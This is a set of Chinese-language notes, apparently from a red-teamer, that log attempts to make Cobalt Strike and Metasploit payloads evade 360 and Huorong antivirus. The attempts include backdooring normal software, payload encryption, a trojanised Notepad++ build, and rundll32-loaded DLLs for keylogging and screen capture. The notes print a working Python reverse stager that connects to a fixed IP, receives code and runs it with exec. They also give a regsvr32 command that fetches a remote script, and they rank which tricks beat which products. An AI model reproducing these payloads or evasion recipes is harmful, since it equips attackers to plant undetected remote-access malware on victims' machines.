尝试免杀
尝试免杀
- 使用the-backdoor-factory 将payload 注入到正常软件,火绒未报出是恶意软件 但是360 还是会报出
- 尝试evil 免杀框架 需要按照pyinstall 效果也不是很好
开发
-
使用cobalt strike 生成payload
-
使用c加载payload 使用virustotal 检测发现有 26/70 的检出机率,
- 其中360 没有检出
- 其中360 没有检出
-
使用对称加密,将payload 进行一层加密 发现 14/71 的检出机率
- 360也没有检出
-
改成无窗口模式 11/70的检出机率
-
测试生成的样本,发现在执行恶意行为时会被报出,如键盘记录以及文件读取 ,尝试修改网络流量 还是能检出
-
尝试使用msf的payload 进行运行, 传输后直接被检出
-
尝试将payload 分离 能运行一分钟,一分钟后被360报出
-
尝试在开源项目中添加payload
-
使用notepad++ 项目 在里面加入恶意payload ,发送到测试机器直接被检出
-
使用notepad++开源项目,未添加恶意payload 还是被检出
- 疑是360存在大量的误报,不推荐使用360来测试 ,或者是notepad开源项目有被黑客作为靶机来使用,导致特征被加库
- 在virustotal上查杀 检出是 13/70
-
尝试使用python加载payload 按照pyinstall,生成exe,看网上资料python2基本已经是不行的,尝试python3,python3代码加载汇编在memcpy时会报错 ,换成msf框架 生成python代码,转为成exe 未被360拦截,payload源码如下,由于源码比较简单,所以未被杀毒软件报出,但是存在执行一些命令时会出cmd窗口跳出的问题
import socket,struct,time for x in range(10): try: s=socket.socket(2,socket.SOCK_STREAM) s.connect(('192.168.1.137',8081)) break except: time.sleep(5) l=struct.unpack('>I',s.recv(4))[0] d=s.recv(l) while len(d)<l: d+=s.recv(l-len(d)) exec(d,{'s':s})
-
msf生成js 混淆后 再使用script.exe 加载 可以过火绒 360 未测试 原理和python过免杀一致 但好像不稳定 有时不能使用
-
使用 带微软签名的程序 加载恶意payload 使用rundll32加载,一个自己创建的dll,然后再加载外部恶意payload文件,执行键盘记录和屏幕抓取
- 该方案成功免杀360和火绒,
- 但这种方式程序的主题是带签名的系统进程,内部程序也不会报出
-
尝试使用 regsvr32 /u /s /i:url scrobj.dll 过免杀
- /u 反注册控件
- /s 指定 regsvr32 安静运行,在成功注册/反注册DLL文件的前提下不显示结果提示框。
- /n 指定不调用 DllRegisterServer。此选项必须与 /i 共同使用。
- /i:cmdline 调用 DllInstall 将它传递到可选的 [cmdline]。在与 /u 共同使用时,它调用 dll 卸载。
- dllname 指定要注册的 dll 文件名。
regsvr32.exe /u /n /i:http://192.168.20.81/test.jpg scrobj.dll 刚运行就被火绒报出 尝试360 也是被报出
总结
- 使用 python生成exe, 可以过360 和火绒,不过有时候会出现窗口,且不稳定
- cs生成的vb宏文件可以过360,但是不能很好过火绒
- 加密payload 再加载可以过火绒,但是不能很好过360
- 使用rundll32 加载dll 再加载payload 可以过360+火绒,最稳定,但是执行恶意行为可能会被360其他引擎检出